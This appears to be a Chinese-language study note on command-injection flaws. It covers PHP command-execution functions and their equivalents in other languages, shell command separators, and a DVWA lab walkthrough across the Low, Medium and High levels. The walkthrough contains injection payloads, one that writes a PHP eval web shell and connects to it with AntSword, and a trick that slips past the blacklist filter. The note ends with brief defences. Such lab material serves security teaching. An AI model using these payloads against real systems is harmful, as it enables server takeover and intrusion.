命令执行漏洞
1、原理:
Web应用程序的某些功能需要调用一些可以执行系统命令的函数,如果函数或者函数的参数能被用户控制,同时没有对用户的输入做严格的过滤,就能将恶意命令通过命令连接符拼接到正常的命令中,从而随意地执行系统命令,实现getshell。
2、PHP中常见命令执行函数:
system()、exec()、shell_exec()、passthru()
PHP 函数 | Java 对应方式 | Python 对应方式 | ASP 对应方式(经典 ASP) | ASP.NET 对应方式 |
system() | Runtime.exec() + 输出流读取 | os.system() | WScript.Shell.Exec | Process.Start |
exec() | Runtime.exec() + 输出流读取 | subprocess.run(...,capture_output=True) | WScript.Shell.Exec` + `StdOut.ReadAll() | Process.Start` + `StandardOutput.ReadToEnd() |
shell_exec() | Runtime.exec() + 读取完整输出 | subprocess.run(...).stdout | WScript.Shell.Exec` + `StdOut.ReadAll() | Process.Start` + `StandardOutput.ReadToEnd() |
passthru() | ProcessBuilder + 实时输出 | subprocess.Popen(..., stdout=PIPE) | WScript.Shell.Exec` + 直接输出 | Process.Start` + `StandardOutput.BaseStream.CopyTo(Response.OutputStream) |
3、常用命令连接符(Windows和Linux通用):
Command1 | Command2 管道符,将C1执行后输出的结果作为输入传递给C2
Command1 || Command2 先后执行1,2,只有1执行失败才执行2
Command1 && Command2 先后执行1,2,只有1执行成功才执行2
Command1 & Command2 先后执行1,2,无论1执行是否成功
Command1 ; Command2 先后执行1,2,无论1执行是否成功(linux独有)
4、【DVWA】之命令注入
Low
查看源代码,无任何防护
(1)IP:127.0.0.1
(2)IP:127.0.0. | ipconfig
(3)IP:127.0.0. || cd #先后执行1,2,只有1执行失败才执行2
(4)IP:127.0.0.1 && cd #先后执行1,2,只有1执行成功才执行2
(5)127.0.0.1 & dir #先后执行1,2,无论1执行是否成功
(6)获取webshell
127.0.0.1 | echo "<?php @eval($_POST[666]);?>" >666.php
127.0.0.1 | dir
蚁剑连接
http://10.20.0.5/DVWA-master/vulnerabilities/exec/666.php
Medium
查看源代码
(1)IP:127.0.0.1 & cd #先后执行1,2,无论1执行是否成功
(2)IP:127.0.0. | ipconfig
......
High
查看源码,通过黑名单过滤了更多命令连接符,但在过滤‘| ’时多了一个空格。
127.0.0.1 |cd # |后不接空格绕过黑名单匹配
5、防御方法
(1)过滤常见命令连接符
(2)校验token
(3)使用白名单限制用户输入